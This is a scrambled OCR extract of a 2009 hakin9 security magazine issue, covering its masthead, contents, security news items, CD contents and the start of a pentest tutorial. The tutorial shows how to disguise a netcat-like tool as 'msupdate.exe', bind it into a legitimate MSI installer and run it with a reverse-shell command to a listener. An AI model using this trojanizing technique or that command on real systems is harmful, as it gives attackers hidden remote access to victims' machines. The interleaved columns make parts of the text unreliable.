Table Of ContentCCOONNTTEENNTTSS
CCOONNTTEENNTTSS
Happy New Year!
team Here comes the brand new issue just at the beginning of the brand
new year! Hakin9 wishes you all the best for the New, 2009 Year! We
Editor in Chief: Ewa Dudzic [email protected]
Executive Editor: Monika Drygulska [email protected] hope it will be better than the last in every way and that will bring only
Editorial Advisory Board: Matt Jonkman, Rebecca Wynn, Rishi happiness and peace to your families and in your job carrers – much more
Narang, Shyaam Sundhar, Terron Williams, Steve Lape
Editor Assistant: Monika Świątek [email protected], success and great results.
I am sure that this year will also bring many interesting hacking techniques,
DTP: Ireneusz Pogroszewski, Przemysław Banasiewicz,
attack methods, and IT Security issues that are currently unknown to us,
Art Director: Agnieszka Marchocka [email protected]
therefore we will have plenty to research and to write about. In this place, I
Cover’s graphic: Łukasz Pabian
would like to encourage everyone who would like to share his/her knowledge
CD: Rafał Kwaśny [email protected]
with others. Don’t be shy, do not doubt your own gifts and talents – do not
Proofreaders: Neil Smith, Steve Lape, Michael Munt, Monroe
Dowling, Kevin Mcdonald, John Hunter hesitate and write to us when the idea for the article comes to your mind! We
Top Betatesters: Joshua Morin, Michele Orru, Clint Garrison, Shon
Robinson, Brandon Dixon, Justin Seitz, Donald Iverson, Matthew Sabin, are always open to new suggestions and fresh brains!
Stephen Argent, Aidan Carty, Rodrigo Rubira Branco, Jason Carpenter, In this new-year’s issue of the hakin9 magazine you will find a number of
Martin Jenco, Sanjay Bhalerao, Monroe Dowling, Avi Benchimol
very practical and technical articles (Hacking Instant Messenger, Defeating
Senior Consultant/Publisher: Paweł Marciniak AV, HTTP Tunnel, the Basic Process Manipulation Tool Kit) intended especially
Production Director: Marta Kurpiewska [email protected]
Marketing Director: Ewa Dudzic [email protected] for you, IT security professionals. This edition was focused more on practice. I
Circulation and Distribution Executive: Ewa Dudzic
encourage you to take a deeper look on our CD where you can find a tutorial
[email protected]
Subscription: [email protected] created by Wayne Ronaldson. Thanks to that you will get to know the Art of
Black Packaging. Unusually, this time we decided to get rid of Consumers Test
Publisher: Software Wydawnictwo Sp.z.o.o
02-682 Warszawa, ul. Bokserska 1 section in this issue. In exchange there is a large article on IT security trainings.
Worldwide publishing
Remember – there is never too late for learning new things or improving your
Business addres: Software Media LLC
1521 Concord Pike, Suite 301 Brandywine knowledge.
Executive Center Wilmington, DE 19803 USA
Phone: 1 917 338 3631 or 1 866 225 5956 Again – Happy New Year!
www.hakin9.org/en
Monika Drygulska.
Software Media LLC is looking for partners from all over the World.
If you are interested in cooperating with us,please contact us at:
[email protected]
Print: 101 Studio, Firma Tęgi
Printed in Poland
Distributed in the USA by: Source Interlink Fulfillment Division,
27500 Riverview Centre Boulevard, Suite 400, Bonita Springs, FL
34134, Tel: 239-949-4450.
Distributed in Australia by: Gordon and Gotch, Australia Pty Ltd.,
Level 2, 9 Roadborough Road, Locked Bag 527, NSW 2086 Sydney,
Australia, Phone: + 61 2 9972 8800,
Whilst every effort has been made to ensure the high quality of
the magazine, the editors make no warranty, express or implied,
concerning the results of content usage.
All trade marks presented in the magazine were used only for
informative purposes.
All rights to trade marks presented in the magazine are reserved by
the companies which own them.
To create graphs and diagrams
we used program by
Cover-mount CD’s were tested with AntiVirenKit
by G DATA Software Sp. z o.o
The editors use automatic DTP system
Mathematical formulas created by Design Science MathType™
ATTENTION!
Selling current or past issues of this magazine for
prices that are different than printed on the cover is
– without permission of the publisher – harmful activity
and will result in judicial liability.
hakin9 is also available in: The United States, Australia,
The Netherlands, Singapore, France, Morocco, Belgium,
Luxembourg, Canada, Germany, Austria, Switzerland, Poland
DISCLAIMER!
The techniques described in our articles may only be
used in private, local networks. The editors hold no
responsibility for misuse of the presented techniques
or consequent data loss.
4 HAKIN91/2009 1/2009HAKIN9 5
CCOONNTTEENNTTSS
CCOONNTTEENNTTSS
BASICS
REGULARS
16 BPMTK
06 In brief
DIDIER STEVENS
The article will illustrate techniques to bypass security mechanisms and show Selection of news from the IT security world.
Proof of Concept (PoC) techniques for Malware by using the Basic Process Armando Romeo &
Manipulation Tool Kit (BPMTK). Thanks to this paper you will learn why your www.hackerscenter.com
applications running in a limited user context are still vulnerable to attacks and
malware.
08 CD Contents
What's new on the latest hakin9.live CD –
ATTACK
fully functioning versions and commercial
applications and a video tutorial.
hakin9 team
22 Keylogger 2.0
12 Tools
ANTONIO FANELLI
A very useful paper showing how to develop a basic Web 2.0 keylogger and Lizard Safeguard PDF Security
use it against an XSS vulnerable website and remote cross-domain scripting Bob Monroe
with IFRAME. Webroot Internet Security Essentials
Anushree Reddy
28 Defeating AntiVirus Software Cisco Torch
JIM KELLY Marco Figueroa & Anthony L. Williams
Yersinia
In this article you will learn various methods of hiding hacker tools from
Marco Figueroa
antivirus products as well as the limitations of these techniques.
66 Emerging Threats
36 Hacking IM Encryption Flaws
Emerging Threats Episode 14
ADITYA K. SOOD
Matthew Jonkman
This paper sheds a light on encryption problems in Instant Messaging client's
primary memory which lead to hacking.
68 Trainings – the Security
Minefield
42 HTTP Tunnel
Chris Riley
MICHAEL SCHRATT
This article will demonstrate how to hide tracks using HTTP Tunneling
74 Interview
techniques.
An interview with Rishi Narang
Monika Drygulska
48 Agent-based Traffic Generation
RAPHAEL MUDGE
78 Self Exposure
In this article the author will introduce the mobile agent programming
Irina Oltu, Igor Donskoy
paradigm. He will also show you how to reproduce scenarios and generate a
Monika Świątek
realistic and adaptable network traffic.
80 Book Review
DEFENSE
How to achieve 27001 Certification
Michael Munt
Malicious bots: An inside look into the
54 Javascript Obfuscation Part 2
Cyber-Criminal Underground of the
DAVID MACIEJAK Internet
This article will uncover how ActiveX instantiation could be hidden by malicious Avi Benchimol
guys using some javascript trics. But from the other hand will show how to
use opensource tools to automate the unobfuscation of malicious javascript
82 Upcoming
code. In the first part, we saw how to decode some basic malicious Javascript
Topics that will be brought up in the
code, in this last part we will introduce some technics to quickly identify what
a shellcode embedded in the Javascript code do and present you some upcoming issue of hakin9
advanced Javascript obfuscation tips used by attacker.
4 HAKIN91/2009 1/2009HAKIN9 5
IN BRIEF
NEWS
was using Google Chrome the next day of its
CLICKJACKING, A BRAND NEW release. The utilisation curve rose up to 3% to PRIVACY IN THE
BROWSERS VULNERABILITY fall down to 0.7% one month later. COUNTERTERRORISM ERA
ClickJacking is a relatively old vulnerability After only 4 hours from the release, The National Research Council requires that
that has been around since 2002, though, the first vulnerability come up, all U.S. counterterrorism programs are to be
however it has been recently brought exploiting the unpatched version of Safari's evaluated for the degree to which they protect
back to life by Robert Hansen and Webkit embedded into Google Chrome. privacy. It is well recognized that after 9/11 we
Jeremiah Grossman who provided more This vulnerability allowed a malicious all gave a piece of our privacy in change of a
exploitation means and proof of concepts user, with few victim interaction, to install piece of more security. Now someone for the
that made it the most discussed topic in malware on windows. In the early days first time and not in the anti-American side of
the web application security industry. The after the release more sophisticated and the world, recognizes that maybe too many
exploit works through hidden overlapping dangerous exploits were published on rights have been violated with too much
iframes generated with CSS or javascript milw0rm and readily available for hackers. facility in the name of enduring freedom.
that would trick the user into clicking on Beside the many DoS causing the The best example is the NSA
buttons and links he wouldn't otherwise application to crash, a remote code eavesdropping phone calls and internet
click. A particular vulnerability exists in execution and a silent file download traffic of U.S. Citizens without seeking the
Adobe's Flash Software, which allows the vulnerability made the things more serious warrant required by law. But it is not the only.
malicious attacker to use ClickJacking to than Google thought they were. Many other telecommunication companies
gain access to the user's web-cam and While most of the security savvy and faced lawsuits as a result of privacy violation
microphone. This, as theorized by the erudite users are capable of understanding with the assent of the U.S. government.
two researchers can create a full-fledged how dangerous a beta release can be In March 2008 President Bush signed
attack tool for corporate or government when used in a production environment, the FISA Amendments Act of 2008 granting
espionage. Beside the Fear Uncertainty the same cannot be said for the millions legal immunity to telecommunications
Doubt used to push this new research, of average users that are appealed by companies that cooperated with the Bush
it has been taken seriously both from new tools, with fancy GUI. Google's brand Administration, retroactively. Thus saving
Adobe that released a patch to solve the name is synonymous of trust in the internet them from any lawsuits.
issue and from the browsers vendors community, the same trust that Big G has
that are still at the designing stage for the lost as a consequence of the enormous
solution but rushing to release it. At now public image damage. WORLD'S MOST POPULAR
the only protection left for end users, before SMARTCARD HACKED
anything official comes out from browsers The Mifare Classic RFID smartcards,
vendors, is to use the latest version of GRAPHIC CARDS CRACKING WPA2 manufactured by NXP Semiconductor, have
Noscript addon for Firefox that ships with In previous issues of hakin9 news, we been reverse engineered by two Dutch
the ClearClick feature. already discussed about the possibility researchers who published the results of
In the words of Noscript's author of gaining greater computation speed the research after the Dutch government
whenever you click or otherwise interact, exploiting the last generation of GPU's tried in vain to prevent the disclosure.
through your mouse or your keyboard, with capabilities for the purpose of password The smartcards, used by military
an embedded element which is partially recovery through brute force. ElcomSoft is installations and multinational companies to
obstructed, transparent or otherwise the leader in this field, and has been the control physical access to their facilities, can
disguised, NoScript prevents the interaction first to provide tools for the purpose. be cracked in minutes using inexpensive
from completing and reveals you the real With the drop in prices of the most equipment. After the Boston tube smartcard
thing in “clear” modern GPU's and the high rate with which hack was published at Defcon in August by
their computation capabilities grows every two young MIT students, yet another RFID
year, it is now possible to recover WPA and manufacturer has to face security issues.
GOOGLE CHROME WPA2 passphrases in a reasonable time This time the risk is higher and not all
RELEASED AND VULNERABLE frame and little expenditure. the companies have made the shift to the
Google has made its breakthrough in the For example with 2 parallel Nvidia GTX Mifare Plus (using stronger AES) version
web browsers arena September 3rd 2008. 280 on a desktop computer, password as switching millions of cards and badges
Google Chrome beta release was, at the recovery time decreases to a factor of 100. has an unavoidable cost.
time of the download, a promising browser Price range for such desktop computer
with fast javascript engine and nice layout. is only in the $1000-2000.
The nice layout and the brand behind it ElcomSoft now has therefore T-MOBILE IN THE
pushed new browser number of downloads developed tools expressly for pass DATA BREACH CLUB
beyond the millions after few days. Stats recovery on WPA and WPA2 networks and When we say data breach, we mean TJX.
on the major web stats services on the net announced its cooperation with forensic One of the world’s largest retailers and 47
showed that over 1% of internet population and government agencies. million customer’s credit cards exposed with
6 HAKIN91/2009 1/2009HAKIN9 7
NEWS
a cost for the company, in fees and other Series of Tutorials, Rants and Raves, and
losses, countable only through a scientific Other Random Nuances Therein. This
calculator. Now T-Mobile has joined the club. is the network auditor’s official bible to
The Data Loss Open Security Foundation spoon-fed network auditing. The purpose
Database reported the exposure of data on of this book is to take once unclear
17 million customers. It seems that no bank explanations to particular network audits
accounts or credit cards were on the lost and place them in layman's terms so that
CD that someone has tried to sell on eBay. the curious (from novice to guru) may
Only names, emails and addresses were understand the information fully, and be
exposed. Although celebrities and politicians able to apply it without much hassle. This
data was included in the package. quick-reference guide not only contains
The news was made public in October step-by-step, illustrated tutorials, but
although the theft is 2 years older. German an explanation in regards to why each
authorities opened an investigation on the exploitation, or what have you, works, and
case and fines are likely to be applied as well. how to defend against such attacks. Be
prepared, one might also discover a few
rants and raves, as well as other random
DRAMATIC RISE OF ROGUE nuances. Currently you may purchase
SECURITY SOFTWARE a copy of this book at the Wordclay
The number of rogue security and anti- bookstore, found here:
malware software found online is rising http://www.wordclay.com/BookStore/
at ever-increasing rates, blurring the lines BookStoreBookDetails.aspx?bookid=27253
between legitimate software and applications
that put consumers in harm’s way.
Levels have increased dramatically. NEW SECUBOX 1.5 TO PREVENT
Of all the rogue applications we have in DATA THEFT FROM WINDOWS
detection, approximately 21 percent of the MOBILE SMARTPHONES AND PDAS
total in detection have appeared since SecuBox creates an encrypted volume
June 2008. There are clearly vast amounts that looks and feels like another Windows
of money to be made from these rogue Mobile storage card. Data encryption
programs, says Andrew Browne, a malware happens automatically – files are
analyst at Lavasoft, the company behind the encrypted on-the-fly when they are written
trusted Ad-Aware anti-spyware software. to the encrypted card, and decrypted when
read from the card. With its seamless
integration into day-to-day routines,
SecuBox becomes an optimal choice
Lavasoft researchers have recently seen for busy professionals who need efficient
a variety of new rogue security applications solution to their mobile security needs.
appear, all of which are rogue anti-malware The new 1.5 version features storage
products. All of these applications have inactivity timeout, advanced command
extremely professional looking user interfaces, line options, advanced security features
making users all the more likely to be tricked and multiple enhancements that improve
into purchasing them, Browne says. everyday usage of encryption.
One way for users to combat rogues SecuBox runs under Pocket PC
is to rely on trusted, up-to-date security 2000/2002/2003SE, Windows Mobile
software. Genuine anti-spyware programs, 5.0 for Pocket PC, Windows Mobile
like Lavasoft’s Ad-Aware, keep users Professional/Classic (6.0). The smartphone
protected because they can find and version supports all smartphones from
detect these rogue programs. For more Smartphone 2002 to Windows Mobile
details, please visit www.lavasoft.com. Standard (6.0). Versions for ARM, MIPS,
SH3, SH4 processor types are available.
SecuBox is currently available in English
NO ROOT FOR YOU and Japanese languages. Aiko Solutions
– NOW AVAILABLE! offers a fully-functional 30 day trial at no
Leetupload.com and Hakin9 Magazine cost, and it can be downloaded from
are proud to present No Root for You: A www.aikosolutions.com.
6 HAKIN91/2009 1/2009HAKIN9 7
HAKIN9.LIVE
CD CONTENTS
Looking for new programs? Wanna extend your IT knowledge? Check out hakin9 CD
where you can find the latest editions of commercial software (Lavasoft’s Ad-Aware
2008 Pro, ModelMaker Code Explorer, Total Network Inventory, Cleandrive by GSA
Online) as well as the Art of Black Packaging tutorial.
hakin9 CD contains some useful ModelMaker Code Explorer – award requires no software installed on remote
hacking tools and plugins from winning ModelMaker Code Explorer machines (laptops).
BackTrack. This CD is based on is a Class Explorer and Refactoring Retail price: USD 95.00
BackTrack version 3 full of new hacking Browser supporting both Pascal and C#. www.softinventive.com
tools and programs. It integrates in Borland Delphi 5-2006 Cleandrive from GSA Online – a
To start using hakin9.live simply boot and Microsoft Visual Studio 2003. As a program which can help you to get rid
your computer from the CD. To see the Browser it improves navigation by showing of most of the privacy violations you get
applications, code listings and tutorials classes (inheritance) and members each day. It deletes all internet traces (like
only, you do not need to reboot the PC (fields, methods, properties) in two filtered the web sites you have visited), recently
– you will find the adequate folders simply views, similar to the windows explorer. opened files (like your last played video
exploring the CD. Instant two-way navigation improves files) or even the logs that show what
overview.As a Refactoring Editor, it makes programs you have run lately (for example
APPLICATIONS changing code easy and fast: Classes and a game you have started in office). This
You will find the following programs in members can be created and modified award winning antispy software deletes
Applications directory on hakin9 CD: through drag&drop or by selecting options your history of activities on your PC. Erase
Ad-Aware 2008 Pro from Lavasoft in dedicated dialogs. Cut, Copy and tracks that could be used to steal your
– the program which offers advanced Paste let you pick up classes, properties identity.
features for savvy computer users and and methods and duplicate them or Retail price: USD 29.00
IT professionals – for optimal control of move them to another class or module. www.gsa-online.de/eng/index.html
confidential information and protection ModelMaker Code Explorer not only inserts
against malware attacks – with detection, new code, it also allows you to edit, correct VIDEO TUTORIAL
cleanup, and removal in one easy-to-use and delete existing classes and members The Art of Black Packaging by Wayne
program. It offers an integrated and real- with the same ease. Ronaldson – On this particular Pentest I
time protection against spyware, viruses, Retail price: USD 129.00 connected to the client's wireless connection.
worms, Trojans, password stealers, and www.modelmakertools.com After I connected I immediately checked for
other malicious programs. Total Network Inventory – a PC audit open shares. Previously I have been lucky
Retail price: USD 39.95 and Network inventory software for office and on this particular Pentest luck happened
www.lavasoft.com and large scale enterprise networks. to be on my side. Wanna find out more?
Total Network Inventory interrogates all Check out the tutorial on our CD!
computers and notebooks on a network
and reports back with complete information CODE LISTINGS
about OS, service packs, hotfixes, hardware, As it might be hard for you to use the
software, running processes, etc. on remote code listings printed in the magazine, we
machines. This information is added to decided to make your work with hakin9
the centralized database and network much easier. We place the complex code
administrators are able to generate reports listings from the articles in DOC directory
about each or all PCs (notebooks) on a on the CD. You will find them in folders
network. The program is agent-free and named adequately to the articles titles.
8 HAKIN91/2009
If the CD contents can’t be accessed and the disc isn’t physically
damaged, try to run it in at least two CD drives.
If you have experienced any problems with this CD,
e-mail: [email protected]
TUTORIAL
The Art of
Black Packaging
On this particular Pentest I connected to the client’s wireless connection. After I
connected I immediately checked for open shares. Previously I have been lucky and on
this particular Pentest luck happened to be on my side.
Ih ad one open share and in there
happened to be a whole lot of
packages. In particular msi packages,
which is a windows installer file.In there
was a package that had a following text
file explaining that this particular package
needs to be executed every fourteen day’s.
I copied this package to my computer,
disconnected and the Art of Black
Packaging began.
Step One
When I arrived back at my office, I booted
up my Wise Packaging Computer and I
copied the file across. I also booted up Figure 1. Windows Service Perl Script
my Windows box with Perl Development kit
and opened up the script below to make
sbd.exe into a windows service. I renamed
sbd.exe to msupdate.exe and bound this
file to the Perl script enter in the commands
for msupdate.exe. I wanted msupdate.exe
to send a command shell to my listening
computer so I used this command (see
Figure 1):
msupdate –r0 192.168.0.18 –e cmd.exe
–p 443
can be used to re-listen after
-r0
connection has been disconnected. IP
address specified which could be any IP
address you wish. On the Video Tutorial Figure 2. Binding msupdate into the original package
10 HAKIN91/2009
